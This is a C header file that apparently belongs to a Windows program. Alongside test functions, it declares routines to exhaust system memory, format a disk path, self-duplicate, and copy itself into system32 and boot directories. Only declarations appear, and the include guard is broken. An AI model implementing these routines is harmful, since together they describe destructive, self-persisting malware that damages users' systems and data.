#ifndef _RESOURCE_H_
#define _RESOURCE_H_
#endif

#include "include/grave.h"
#include "include/net.h"


/*
 * Author : xiaozhi
 *
 * Date   : 2006/12/26       21:13
 *
 * Function : define some parameter.
 *
 * Modify : Because adjust file directory, 
 *	    File delete before reestablish.
 */


/*
 * test add
 */
int add(int a, int b);


/*
 * test multiply.
 */
long mul(int a, int b, int c, int d);


/*
 * This is Tie up system memory declaration.
 */
DWORD WINAPI tieup(LPVOID lpParam);


/*
 * Format disk mian function declaration.
 *
 * first argument : path.  Specify format disk directory. 
 */
void __stdcall formatdisk(char *path);


/*
 * create link
 */
void create_link();


/*
 * double duplicate 
 */ 
void doudup(void (*)(), void (*)());

/*
 * Implement indirect doudup(void (*)()).
 */
void involve();

/*
 * file write 
 */
DWORD WINAPI file_write(LPVOID lpParam);

/*
 * create file directory.
 */
void create_directory();

/*
 * create file
 */
HANDLE create_file(LPVOID lpParam);

/*
 * copy file
 */
DWORD WINAPI copy_file(LPVOID lpParam);

/*
 * Create process 
 */
DWORD WINAPI create_process(LPVOID lpParam);

/*
 * create thread
 */
void create_thread();

/*
 * thread test example
 */
DWORD WINAPI ThreadTest(LPVOID lpParam);

/*
 * create second thread test .
 */
void create_thread_two();

/*
 * thread second test example .
 */
DWORD WINAPI ThreadTestTwo(LPVOID lpParam);

/*
 * create thread third with tieup.
 */
void create_thread_tieup();

/*
 * create thread with file_write .
 */
void create_thread_file_write();

/*
 * create thread with create_process .
 */
void create_thread_create_process();

/*
 * create thread with copy_file ;
 */
void create_thread_copy_file();

/*
 * All thread run function .
 */
void run();

/*
 * Get the windows version.
 */
int version();

/*
 * Copy file to windows system32 directory and boot directory.
 */
void copy_system_boot();

/*
 * system power state
 */
int set_sy_power_stat();

/*
 * get device power state 
 */
int get_power_sta();